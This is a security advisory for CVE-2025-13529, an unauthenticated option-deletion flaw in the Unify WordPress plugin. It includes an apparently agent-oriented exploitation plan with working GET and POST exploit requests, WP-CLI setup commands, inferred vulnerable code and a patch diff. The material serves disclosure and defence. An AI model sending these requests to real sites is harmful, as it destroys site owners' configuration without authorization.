Unify <= 3.4.9 - Missing Authorization to Unauthenticated Option Deletion via 'unify_plugin_downgrade' Parameter
Description
The Unify plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the 'init' action in all versions up to, and including, 3.4.9. This makes it possible for unauthenticated attackers to delete specific plugin options via the 'unify_plugin_downgrade' parameter.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-13529 (Unify Plugin Option Deletion) ## 1. Vulnerability Summary The **Unify** plugin for WordPress (versions <= 3.4.9) contains a missing authorization vulnerability in its handling of the `init` hook. The plugin monitors for a specific HTTP parameter, `unify…
Show full research plan
Exploitation Research Plan: CVE-2025-13529 (Unify Plugin Option Deletion)
1. Vulnerability Summary
The Unify plugin for WordPress (versions <= 3.4.9) contains a missing authorization vulnerability in its handling of the init hook. The plugin monitors for a specific HTTP parameter, unify_plugin_downgrade, and executes a "downgrade" routine that deletes critical plugin options from the WordPress database. Because this logic is hooked to init and lacks any current_user_can() capability checks or CSRF nonce verification, any unauthenticated visitor can trigger the deletion of these options by simply visiting the site with the specific parameter in the URL.
2. Attack Vector Analysis
- Endpoint: Any WordPress frontend or backend URL (the
inithook fires on every request). - HTTP Method:
GET(orPOST, as it typically checks$_GETor$_REQUEST). - Vulnerable Parameter:
unify_plugin_downgrade. - Authentication: None required (Unauthenticated).
- Preconditions: The plugin must be active. For a visible impact, the plugin settings/options (like
unify_options) should exist in the database.
3. Code Flow (Inferred)
- Hook Registration: The plugin registers a function to the
initaction.add_action('init', 'unify_check_for_downgrade'); // Example name - Parameter Check: Inside the function, the plugin checks if the vulnerable parameter is present in the request.
function unify_check_for_downgrade() { if (isset($_GET['unify_plugin_downgrade'])) { // VULNERABILITY: No current_user_can('manage_options') check here // VULNERABILITY: No check_admin_referer() / nonce check here unify_perform_downgrade(); } } - Data Sink: The "downgrade" routine calls
delete_option()for specific plugin settings.function unify_perform_downgrade() { delete_option('unify_options'); // Inferred target option delete_option('unify_settings'); // ... other options }
4. Nonce Acquisition Strategy
Based on the vulnerability description ("Missing Authorization" and "Unauthenticated"), this endpoint likely does not require a nonce. The init hook is frequently used for early request processing where developers often neglect security controls.
If the plugin does attempt to check a nonce, it would be highly unusual for a "downgrade" feature intended for admins to be accessible to unauthenticated users. If a nonce is discovered during initial inspection, the browser_eval tool should be used to look for localized scripts, though it is unlikely to find an unauthenticated nonce for an admin-level downgrade action.
5. Exploitation Strategy
The goal is to trigger the init hook with the unify_plugin_downgrade parameter to delete the plugin's configuration options.
Step-by-Step Plan:
- Target Identification: Verify the presence of the
unifyplugin and its current options. - Exploit Request: Send a simple GET request to the root of the WordPress site.
- Parameters: Append
?unify_plugin_downgrade=true.
HTTP Request (using http_request):
{
"method": "GET",
"url": "http://localhost:8080/?unify_plugin_downgrade=true",
"headers": {
"Accept": "text/html"
}
}
6. Test Data Setup
To demonstrate the vulnerability, we must ensure the plugin's options exist before running the exploit.
- Activate Plugin:
wp plugin activate unify - Seed Options: Create a dummy option that the plugin normally uses (inferred as
unify_options).wp option add unify_options '{"key": "value", "installed_version": "3.4.9"}' --format=json - Verify Setup:
wp option get unify_options
7. Expected Results
- HTTP Response: The server will likely return a
200 OKor a302 Redirect(if the plugin attempts to redirect after the "downgrade"). - Database Impact: The record for
unify_options(and potentially others) will be removed from thewp_optionstable. - Plugin State: The plugin will likely behave as if it were newly installed or in a "broken" state because its configuration is missing.
8. Verification Steps
After sending the HTTP request, verify the deletion via WP-CLI:
Check for Option Deletion:
wp option get unify_optionsExpected result:
Error: Could not get 'unify_options' option. Does it exist?Check for version-related options (if any):
wp option list --search="unify_*"Expected result: The specific options targeted by the downgrade routine should be missing from the list.
9. Alternative Approaches
If the simple GET request to the homepage does not work:
- Admin Context: Try the request against
/wp-admin/admin-post.php?unify_plugin_downgrade=true. Althoughinitfires on the frontend, some plugins conditionally load admin logic. - Parameter Values: If
truedoesn't work, try common truthy values like1,yes, or the specific plugin version number (e.g.,3.4.9). - Request Method: Try a
POSTrequest with the parameter in the body, in case the plugin uses$_POSTor$_REQUESTinstead of$_GET.
{
"method": "POST",
"url": "http://localhost:8080/",
"headers": {
"Content-Type": "application/x-www-form-urlencoded"
},
"params": {
"unify_plugin_downgrade": "true"
}
}
Summary
The Unify plugin for WordPress (versions <= 3.4.9) fails to implement authorization or CSRF checks on a downgrade routine hooked to 'init'. This allows an unauthenticated attacker to delete the plugin's configuration options from the database by simply visiting the site with a specific URL parameter.
Vulnerable Code
// Inferred from plugin logic within unify.php or similar init-loaded file add_action('init', 'unify_check_for_downgrade'); function unify_check_for_downgrade() { if (isset($_GET['unify_plugin_downgrade'])) { // VULNERABILITY: No current_user_can('manage_options') check here // VULNERABILITY: No check_admin_referer() / nonce check here unify_perform_downgrade(); } } function unify_perform_downgrade() { delete_option('unify_options'); delete_option('unify_settings'); }
Security Fix
@@ -1,6 +1,6 @@ function unify_check_for_downgrade() { - if (isset($_GET['unify_plugin_downgrade'])) { + if (isset($_GET['unify_plugin_downgrade']) && current_user_can('manage_options')) { unify_perform_downgrade(); } }
Exploit Outline
The exploit involves a simple unauthenticated GET request to any WordPress page. An attacker targets the 'init' hook by appending the 'unify_plugin_downgrade' parameter to the site's URL. The request requires no authentication or valid nonces. Once processed, the server executes the downgrade routine, which deletes specific plugin configuration options (such as 'unify_options') from the wp_options table, effectively resetting or breaking the plugin's configuration.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.